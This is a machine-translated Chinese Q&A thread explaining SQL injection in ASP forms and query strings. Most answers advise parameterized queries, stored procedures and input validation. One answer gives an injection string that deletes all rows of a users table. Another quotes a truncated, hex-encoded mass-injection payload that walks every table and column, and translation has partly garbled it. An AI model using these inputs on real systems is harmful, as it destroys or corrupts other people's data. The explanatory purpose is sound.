我需要知道ASP或ASP.Net对注册表单进行SQL注入攻击的过程吗?
答案 0 :(得分:5)
这是一个简单的例子:
屏幕输入:
enter your name: Bill'); delete from users --
构建查询
insert into users (name) values ('''+@Name+''')'
实际查询:
insert into users (name) values ('Bill'); delete from users --')
会发生什么:所有用户都被删除
仅供参考,不确定您使用的数据库,但@Name是一个变量,“ - ”是一个评论
答案 1 :(得分:1)
答案 2 :(得分:0)
始终验证SQL查询,删除任何不需要的字符并使用SQL参数来避免SQL注入。
答案 3 :(得分:0)
使用存储过程来避免SQL注入,也使用Server.HtmlEncode(字符串输入)
答案 4 :(得分:0)
SQL注入攻击是将SQL注入用户界面元素的过程,随后将在后端SQL服务器上执行该操作,从而导致意外行为。 Click here for an article, that explains SQL Injection Attack with an example.只需使用存储过程或参数化查询来解决SQL注入攻击。
答案 5 :(得分:0)
攻击者不仅从表单中破解SQL查询,而且还使用ASP中的查询字符串或过去的方法,他们的软件可以找到使用Querystring中的值的页面。攻击者在该URL中添加他们的脚本,并且当网站站点页面代码从querystring获取值时,并且没有检查来验证该值。所有脚本都传递给数据库以供执行。 url中使用的脚本是十六进制格式,当您在查询anaylser中运行此语句时,它将采用可执行格式。不要在LIVE DATABASE上运行这个脚本,为此需要创建一个虚拟数据库,然后执行它,否则你的数据库将被感染。
这些语句使得获取数据库的所有表的cusrors以及表的所有列都扩展了Injection。 +声明+%的40s + VARCHAR%288000%29 + +设定40年代%%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f5343484 detail link